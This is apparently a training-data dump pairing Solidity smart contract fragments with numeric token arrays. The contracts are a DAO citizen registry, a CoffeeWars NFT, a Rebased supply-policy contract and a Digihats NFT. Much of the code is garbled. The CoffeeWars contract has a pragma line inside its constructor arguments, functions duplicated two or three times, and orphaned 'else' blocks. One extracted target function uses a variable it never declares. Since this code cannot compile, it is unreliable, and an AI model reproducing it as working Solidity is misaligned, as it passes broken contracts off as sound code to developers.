Constitution_Only{ require(!Citizens_Registering_Authorities.contains(new_authority), "Already Existing Authority"); Citizens_Registering_Authorities.add(new_authority); emit Registering_Authority_Added(new_authority); } /** * @dev Add a Banning Authority address. * @param new_authority New banning authority address. * */ function Add_Banning_Authority(address new_authority)external Constitution_Only{ require(!Citizens_Banning_Authorities.contains(new_authority), "Already Existing Authority"); Citizens_Banning_Authorities.add(new_authority); emit Banning_Authority_Added(new_authority); } /** * @dev Remove an address from {Citizens_Registering_Authorities} and/or {Citizens_Banning_Authorities} * @param removed_authority Address to remove from Authorities lists. * */ function Remove_Authority(address removed_authority) override external{ require(msg.sender == removed_authority || msg.sender == Constitution_Address, "Not Allowed Removing Authorities"); if(Citizens_Registering_Authorities.contains(removed_authority)){ Citizens_Registering_Authorities.remove(removed_authority); emit Registering_Authority_Removed(removed_authority); }else if(Citizens_Banning_Authorities.contains(removed_authority)){ Citizens_Banning_Authorities.remove(removed_authority); emit Banning_Authority_Removed(removed_authority); }else{ revert("Not existing authority"); } } /*GETTER*/ /** * @dev Check whether an account is citizen of the current Web3 Direct Democracy project. * @param citizen Account to check. * @return is_citizen * * * */ function Contains(address citizen)external view returns(bool is_citizen){ return Citizens[citizen].Active; } /** * @dev Get the number of citizens in the DAO * @return citizen_number * */ function Get_Citizen_Number()external view returns(uint citizen_number){ return Citizens_List.length(); } /** * @dev Get the list of citizens * @return citizen_list * */ function Get_Citizens_List() external view returns(bytes32[] memory citizen_list){ return Citizens_List._inner._values; } /** * @dev Get the list of blacklisted citizens (permanently banned citizens) * @return blacklist * */ function Get_Permanently_Banned_Citizens() external view returns(address[] memory blacklist){ return Permanently_Banned_Citizens; } /** * @dev Get the list of Registering authorities * @return registering_authorities * */ function Get_Registering_Authorities() external view returns(bytes32[] memory registering_authorities){ return Citizens_Registering_Authorities._inner._values; } /** * @dev Get the list of banning authorities * @return banning_authorities * */ function Get_Banning_Authorities() external view returns(bytes32[] memory banning_authorities){ return Citizens_Banning_Authorities._inner._values; } }
@dev List of accounts that have been Permanently banned and can not be added anymore (blacklist)
address[] Permanently_Banned_Citizens;
5,353,611
[ 1, 682, 434, 9484, 716, 1240, 2118, 13813, 12055, 715, 324, 10041, 471, 848, 486, 506, 3096, 16828, 261, 22491, 13, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 377, 1758, 8526, 13813, 12055, 715, 67, 38, 10041, 67, 39, 305, 452, 773, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x43e967c68D00C5670382D2C00689400a107f7178/sources/CoffeeWars.sol
Importing ERC721AQueryable which is a much more gas efficient contractImporting Openzeppelin Ownable standard to keep track of who the owner isImporting Openzeppelin strings library to convert uint256 variables to a stringImporting base64 encoding libraryThis contract inherits both of the contracts improrted aboveThis variable will store the time at which the revealed tokenURIs will be unlockedThis variable will store the temporary tokenURIThis variable will store the start of the full URI_timeTillDrop => This is the amount of time in seconds that this contract will wait from the current time before revealing the true tokenURI for each minted token_base => This is the baseURI that will have each minted tokens URI prepended to
contract CoffeeWars is ERC721AQueryable, Ownable { using Strings for uint256; error NullNumber(); error NullString(); error NullAddress(); error NonexistentToken(); error WrongLength(); uint256 public drop_unlock_time; string private baseURI; constructor( uint256 _timeTillDrop, string memory _base pragma solidity 0.8.15; ) ERC721A("CofferWarsNFT", "CNFT") { if(bytes(_base).length == 0) revert NullString(); if(_timeTillDrop == 0) revert NullNumber(); baseURI = _base; drop_unlock_time = block.timestamp + _timeTillDrop; } function setURI(string memory _uri) external onlyOwner { if(bytes(_uri).length == 0) revert NullString(); baseURI = _uri; } function mintTo(address _to,uint256 _amount) external onlyOwner{ if(_to == address(0)) revert NullAddress(); if(_amount == 0) revert NullNumber(); _safeMint(_to, _amount); } function dynamicMintTo(address[] calldata _receivers,uint256[] calldata _amounts) external onlyOwner { if(_amounts.length != _receivers.length) revert WrongLength(); if(_amounts.length == 0) revert WrongLength(); for (uint256 i = 0; i < _amounts.length;) { if(_amounts[i] == 0) revert NullNumber(); if(_receivers[i] == address(0)) revert NullAddress(); _safeMint(_receivers[i], _amounts[i]); unchecked{ i++; } } } function dynamicMintTo(address[] calldata _receivers,uint256[] calldata _amounts) external onlyOwner { if(_amounts.length != _receivers.length) revert WrongLength(); if(_amounts.length == 0) revert WrongLength(); for (uint256 i = 0; i < _amounts.length;) { if(_amounts[i] == 0) revert NullNumber(); if(_receivers[i] == address(0)) revert NullAddress(); _safeMint(_receivers[i], _amounts[i]); unchecked{ i++; } } } function dynamicMintTo(address[] calldata _receivers,uint256[] calldata _amounts) external onlyOwner { if(_amounts.length != _receivers.length) revert WrongLength(); if(_amounts.length == 0) revert WrongLength(); for (uint256 i = 0; i < _amounts.length;) { if(_amounts[i] == 0) revert NullNumber(); if(_receivers[i] == address(0)) revert NullAddress(); _safeMint(_receivers[i], _amounts[i]); unchecked{ i++; } } } function largeMint(uint256 _amount) external onlyOwner { if(_amount == 0) revert NullNumber(); _safeMint(owner(), _amount); } function _tokenURI(uint256 _tokenId) private view returns (string memory) { if(!_exists(_tokenId)) revert NonexistentToken(); string memory base = baseURI; if (bytes(base).length == 0) { return ""; return string(abi.encodePacked(base,_tokenId.toString(),".JSON")); } } function _tokenURI(uint256 _tokenId) private view returns (string memory) { if(!_exists(_tokenId)) revert NonexistentToken(); string memory base = baseURI; if (bytes(base).length == 0) { return ""; return string(abi.encodePacked(base,_tokenId.toString(),".JSON")); } } }else{ function burn(uint256 _tokenId) external returns(bool){ _burn(_tokenId,true); return true; } function tokenURI(uint256 _tokenId) public view override(ERC721A,IERC721A) returns (string memory) { if(block.timestamp < drop_unlock_time) { return unlock_preview; return _tokenURI(_tokenId); } } function tokenURI(uint256 _tokenId) public view override(ERC721A,IERC721A) returns (string memory) { if(block.timestamp < drop_unlock_time) { return unlock_preview; return _tokenURI(_tokenId); } } }else { function _startTokenId() internal view virtual override returns (uint256) { return 1; } function contractURI() public view returns(string memory){ return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( string(abi.encodePacked( '{', '"name": "CoffeeWarsNFT"', ',"description": "Art from the movie Coffee Wars. Save The World One Cup At A Time!', ',"fee_recipient": "0x653229a1c558b87cba440bb82d296Bd1E572C23D"', '}' ) ) ) ) ); } function contractURI() public view returns(string memory){ return string( abi.encodePacked( "data:application/json;base64,", Base64.encode( string(abi.encodePacked( '{', '"name": "CoffeeWarsNFT"', ',"description": "Art from the movie Coffee Wars. Save The World One Cup At A Time!', ',"fee_recipient": "0x653229a1c558b87cba440bb82d296Bd1E572C23D"', '}' ) ) ) ) ); } }
4,274,141
[ 1, 5010, 310, 4232, 39, 27, 5340, 37, 1138, 429, 1492, 353, 279, 9816, 1898, 16189, 14382, 6835, 5010, 310, 3502, 94, 881, 84, 292, 267, 14223, 6914, 4529, 358, 3455, 3298, 434, 10354, 326, 3410, 353, 5010, 310, 3502, 94, 881, 84, 292, 267, 2064, 5313, 358, 1765, 2254, 5034, 3152, 358, 279, 533, 5010, 310, 1026, 1105, 2688, 5313, 2503, 6835, 24664, 3937, 434, 326, 20092, 709, 683, 24726, 5721, 2503, 2190, 903, 1707, 326, 813, 622, 1492, 326, 283, 537, 18931, 1147, 1099, 2520, 903, 506, 25966, 2503, 2190, 903, 1707, 326, 6269, 1147, 1099, 1285, 76, 291, 2190, 903, 1707, 326, 787, 434, 326, 1983, 3699, 67, 957, 56, 737, 7544, 516, 1220, 353, 326, 3844, 434, 813, 316, 3974, 716, 333, 6835, 903, 2529, 628, 326, 783, 813, 1865, 283, 24293, 310, 326, 638, 1147, 3098, 364, 1517, 312, 474, 329, 1147, 67, 1969, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 385, 3674, 1340, 59, 5913, 353, 4232, 39, 27, 5340, 37, 1138, 429, 16, 14223, 6914, 288, 203, 203, 565, 1450, 8139, 364, 2254, 5034, 31, 203, 203, 565, 555, 4112, 1854, 5621, 203, 565, 555, 4112, 780, 5621, 203, 565, 555, 4112, 1887, 5621, 203, 565, 555, 3858, 19041, 1345, 5621, 203, 565, 555, 24668, 1782, 5621, 203, 203, 565, 2254, 5034, 1071, 3640, 67, 26226, 67, 957, 31, 7010, 203, 377, 203, 565, 533, 3238, 1026, 3098, 31, 203, 203, 565, 3885, 12, 203, 3639, 2254, 5034, 389, 957, 56, 737, 7544, 16, 203, 3639, 533, 3778, 389, 1969, 203, 203, 683, 9454, 18035, 560, 374, 18, 28, 18, 3600, 31, 203, 565, 262, 4232, 39, 27, 5340, 37, 2932, 39, 23322, 59, 5913, 50, 4464, 3113, 315, 12821, 4464, 7923, 288, 203, 203, 3639, 309, 12, 3890, 24899, 1969, 2934, 2469, 422, 374, 13, 15226, 4112, 780, 5621, 203, 203, 3639, 309, 24899, 957, 56, 737, 7544, 422, 374, 13, 15226, 4112, 1854, 5621, 203, 203, 3639, 1026, 3098, 273, 389, 1969, 31, 203, 203, 3639, 3640, 67, 26226, 67, 957, 273, 1203, 18, 5508, 397, 389, 957, 56, 737, 7544, 31, 203, 565, 289, 203, 203, 203, 565, 445, 444, 3098, 12, 1080, 3778, 389, 1650, 13, 3903, 1338, 5541, 288, 203, 540, 203, 3639, 309, 12, 3890, 24899, 1650, 2934, 2469, 422, 374, 13, 15226, 4112, 780, 5621, 203, 203, 3639, 1026, 3098, 273, 389, 1650, 31, 203, 565, 289, 203, 203, 203, 565, 445, 312, 474, 774, 2 ]
/** *Submitted for verification at Etherscan.io on 2020-08-10 */ // SPDX-License-Identifier: MIT /* MIT License Copyright (c) 2018 requestnetwork Copyright (c) 2018 Fragments, Inc. Copyright (c) 2020 Rebased Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. */ pragma solidity ^0.6.12; /** * @title SafeMath * @dev Math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two numbers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); // Solidity only automatically asserts when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two numbers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two numbers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeMathInt { int256 private constant MIN_INT256 = int256(1) << 255; int256 private constant MAX_INT256 = ~(int256(1) << 255); /** * @dev Multiplies two int256 variables and fails on overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { int256 c = a * b; // Detect overflow when multiplying MIN_INT256 with -1 require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256)); require((b == 0) || (c / b == a)); return c; } /** * @dev Division of two int256 variables and fails on overflow. */ function div(int256 a, int256 b) internal pure returns (int256) { // Prevent overflow when dividing MIN_INT256 by -1 require(b != -1 || a != MIN_INT256); // Solidity already throws when dividing by 0. return a / b; } /** * @dev Subtracts two int256 variables and fails on overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a)); return c; } /** * @dev Adds two int256 variables and fails on overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a)); return c; } /** * @dev Converts to absolute value, and fails on overflow. */ function abs(int256 a) internal pure returns (int256) { require(a != MIN_INT256); return a < 0 ? -a : a; } } /** * @title Various utilities useful for uint256. */ library UInt256Lib { uint256 private constant MAX_INT256 = ~(uint256(1) << 255); /** * @dev Safely converts a uint256 to an int256. */ function toInt256Safe(uint256 a) internal pure returns (int256) { require(a <= MAX_INT256); return int256(a); } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); } interface IRebased { function totalSupply() external view returns (uint256); function rebase(uint256 epoch, int256 supplyDelta) external returns (uint256); } interface IOracle { function getData() external view returns (uint256, bool); } /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address private _owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { _owner = msg.sender; } /** * @return the address of the owner. */ function owner() public view returns(address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner()); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns(bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to relinquish control of the contract. * @notice Renouncing to ownership will leave the contract without an owner. * It will not be possible to call the functions with the `onlyOwner` * modifier anymore. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(_owner); _owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Rebased Monetary Supply Policy * @dev This is a simplified version of the uFragments Ideal Money protocol a.k.a. Ampleforth. * uFragments operates symmetrically on expansion and contraction. It will both split and * combine coins to maintain a stable unit price. * * This component regulates the token supply of the uFragments ERC20 token in response to * market oracles. */ contract MonetaryPolicy is Ownable { using SafeMath for uint256; using SafeMathInt for int256; using UInt256Lib for uint256; event LogRebase( uint256 indexed epoch, uint256 exchangeRate, uint256 cpi, int256 requestedSupplyAdjustment, uint256 timestampSec ); IRebased public rebased; // Provides the current CPI as a 20 decimal fixed point number. IOracle public cpiOracle; // Market oracle provides the token/USD exchange rate as an 18 decimal fixed point number. IOracle public marketOracle; // CPI value at the time of launch, as an 18 decimal fixed point number. uint256 private baseCpi; // If the current exchange rate is within this fractional distance from the target, no supply // update is performed. Fixed point number--same format as the rate. // (ie) abs(rate - targetRate) / targetRate < deviationThreshold, then no supply change. // DECIMALS Fixed point number. uint256 public deviationThreshold; // The rebase lag parameter, used to dampen the applied supply adjustment by 1 / rebaseLag // Check setRebaseLag comments for more details. // Natural number, no decimal places. uint256 public rebaseLag; // More than this much time must pass between rebase operations. uint256 public minRebaseTimeIntervalSec; // Block timestamp of last rebase operation uint256 public lastRebaseTimestampSec; // The number of rebase cycles since inception uint256 public epoch; uint256 private constant DECIMALS = 18; // Due to the expression in computeSupplyDelta(), MAX_RATE * MAX_SUPPLY must fit into an int256. // Both are 18 decimals fixed point numbers. uint256 private constant MAX_RATE = 10**6 * 10**DECIMALS; // MAX_SUPPLY = MAX_INT256 / MAX_RATE uint256 private constant MAX_SUPPLY = ~(uint256(1) << 255) / MAX_RATE; constructor(uint256 baseCpi_) public { deviationThreshold = 5 * 10 ** (DECIMALS-2); rebaseLag = 20; minRebaseTimeIntervalSec = 12 hours; lastRebaseTimestampSec = 0; epoch = 0; baseCpi = baseCpi_; } /** * @notice Returns true if at least minRebaseTimeIntervalSec seconds have passed since last rebase. * */ function canRebase() public view returns (bool) { return (lastRebaseTimestampSec.add(minRebaseTimeIntervalSec) < now); } /** * @notice Initiates a new rebase operation, provided the minimum time period has elapsed. * */ function rebase() external { require(canRebase(), "Insufficient time has passed since last rebase"); lastRebaseTimestampSec = now; epoch = epoch.add(1); (uint256 cpi, uint256 exchangeRate, uint256 targetRate, int256 supplyDelta) = getRebaseValues(); uint256 supplyAfterRebase = rebased.rebase(epoch, supplyDelta); assert(supplyAfterRebase <= MAX_SUPPLY); emit LogRebase(epoch, exchangeRate, cpi, supplyDelta, now); } /** * @notice Calculates the supplyDelta and returns the current set of values for the rebase * * @dev The supply adjustment equals (_totalSupply * DeviationFromTargetRate) / rebaseLag * Where DeviationFromTargetRate is (MarketOracleRate - targetRate) / targetRate * and targetRate is CpiOracleRate / baseCpi * */ function getRebaseValues() public view returns (uint256, uint256, uint256, int256) { uint256 cpi; bool cpiValid; (cpi, cpiValid) = cpiOracle.getData(); require(cpiValid); uint256 targetRate = cpi.mul(10 ** DECIMALS).div(baseCpi); uint256 exchangeRate; bool rateValid; (exchangeRate, rateValid) = marketOracle.getData(); require(rateValid); if (exchangeRate > MAX_RATE) { exchangeRate = MAX_RATE; } int256 supplyDelta = computeSupplyDelta(exchangeRate, targetRate); // Apply the Dampening factor. supplyDelta = supplyDelta.div(rebaseLag.toInt256Safe()); if (supplyDelta > 0 && rebased.totalSupply().add(uint256(supplyDelta)) > MAX_SUPPLY) { supplyDelta = (MAX_SUPPLY.sub(rebased.totalSupply())).toInt256Safe(); } return (cpi, exchangeRate, targetRate, supplyDelta); } /** * @return Computes the total supply adjustment in response to the exchange rate * and the targetRate. */ function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } // supplyDelta = totalSupply * (rate - targetRate) / targetRate int256 targetRateSigned = targetRate.toInt256Safe(); return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); } /** * @param rate The current exchange rate, an 18 decimal fixed point number. * @param targetRate The target exchange rate, an 18 decimal fixed point number. * @return If the rate is within the deviation threshold from the target rate, returns true. * Otherwise, returns false. */ function withinDeviationThreshold(uint256 rate, uint256 targetRate) internal view returns (bool) { uint256 absoluteDeviationThreshold = targetRate.mul(deviationThreshold) .div(10 ** DECIMALS); return (rate >= targetRate && rate.sub(targetRate) < absoluteDeviationThreshold) || (rate < targetRate && targetRate.sub(rate) < absoluteDeviationThreshold); } /** * @notice Sets the reference to the Rebased token governed. * Can only be called once during initialization. * * @param rebased_ The address of the Rebased ERC20 token. */ function setRebased(IRebased rebased_) external onlyOwner { require(rebased == IRebased(0)); rebased = rebased_; } /** * @notice Sets the reference to the CPI oracle. * @param cpiOracle_ The address of the cpi oracle contract. */ function setCpiOracle(IOracle cpiOracle_) external onlyOwner { cpiOracle = cpiOracle_; } /** * @notice Sets the reference to the market oracle. * @param marketOracle_ The address of the market oracle contract. */ function setMarketOracle(IOracle marketOracle_) external onlyOwner { marketOracle = marketOracle_; } }
* @return Computes the total supply adjustment in response to the exchange rate and the targetRate./
function computeSupplyDelta(uint256 rate, uint256 targetRate) internal view returns (int256) { if (withinDeviationThreshold(rate, targetRate)) { return 0; } return rebased.totalSupply().toInt256Safe() .mul(rate.toInt256Safe().sub(targetRateSigned)) .div(targetRateSigned); }
2,097,747
[ 1, 2463, 14169, 281, 326, 2078, 14467, 18335, 316, 766, 358, 326, 7829, 4993, 540, 471, 326, 1018, 4727, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 3671, 3088, 1283, 9242, 12, 11890, 5034, 4993, 16, 2254, 5034, 1018, 4727, 13, 203, 3639, 2713, 203, 3639, 1476, 203, 3639, 1135, 261, 474, 5034, 13, 203, 565, 288, 203, 3639, 309, 261, 25850, 758, 13243, 7614, 12, 5141, 16, 1018, 4727, 3719, 288, 203, 5411, 327, 374, 31, 203, 3639, 289, 203, 203, 3639, 327, 283, 12261, 18, 4963, 3088, 1283, 7675, 869, 1702, 5034, 9890, 1435, 203, 5411, 263, 16411, 12, 5141, 18, 869, 1702, 5034, 9890, 7675, 1717, 12, 3299, 4727, 12294, 3719, 203, 5411, 263, 2892, 12, 3299, 4727, 12294, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/97/0x74ccFf3343d2349ed216d10985a43010aF256E30/sources/Digihats.sol
* @title DigiHats contract @dev Extends ERC721 Non-Fungible Token Standard basic implementation/ Public variables This is the provenance record of all DigiHats artwork in existencestring public constant DIGIHATS_PROVENANCE = ""; Time after which Digihats are randomized and allotted Equals to `bytes4(keccak256("onERC721Received(address,address,uint256,bytes)"))` which can be also obtained as `IERC721Receiver(0).onERC721Received.selector` Mapping from holder address to their (enumerable) set of owned tokens Enumerable mapping from token ids to their owners Mapping from token ID to approved address Mapping from token ID to name Mapping from token ID to whether the DigiHat was minted before reveal Mapping from owner to operator approvals Token name Token symbol
contract Digihats is Context, Ownable, ERC165, iDigihats, IERC721Metadata { using SafeMath for uint256; using Address for address; using EnumerableSet for EnumerableSet.UintSet; using EnumerableMap for EnumerableMap.UintToAddressMap; using Strings for uint256; uint256 public constant SALE_START_TIMESTAMP = 1614652708; uint256 public constant MAX_NFT_SUPPLY = 88; uint256 public constant REVEAL_TIMESTAMP = SALE_START_TIMESTAMP + (86400 * 14); uint256 public startingIndexBlock; uint256 public startingIndex; bytes4 private constant _ERC721_RECEIVED = 0x150b7a02; mapping (address => EnumerableSet.UintSet) private _holderTokens; EnumerableMap.UintToAddressMap private _tokenOwners; mapping (uint256 => address) private _tokenApprovals; mapping (uint256 => string) private _tokenName; mapping (uint256 => bool) private _mintedBeforeReveal; mapping (address => mapping (address => bool)) private _operatorApprovals; string private _name; string private _symbol; bytes4 private constant _INTERFACE_ID_ERC721 = 0x80ac58cd; bytes4 private constant _INTERFACE_ID_ERC721_METADATA = 0x93254542; bytes4 private constant _INTERFACE_ID_ERC721_ENUMERABLE = 0x780e9d63; bool tradingEnabled = false; struct Offer { bool isForSale; uint HatIndex; address seller; } struct Bid { bool hasBid; uint HatIndex; address bidder; uint value; } mapping (address => uint) public pendingWithdrawals; mapping (uint => Offer) public HatOfferedForSale; mapping (uint => Bid) public HatBids; event HatTransfer(address indexed from, address indexed to, uint256 HatIndex); constructor (string memory name, string memory symbol) { _name = name; _symbol = symbol; _registerInterface(_INTERFACE_ID_ERC721); 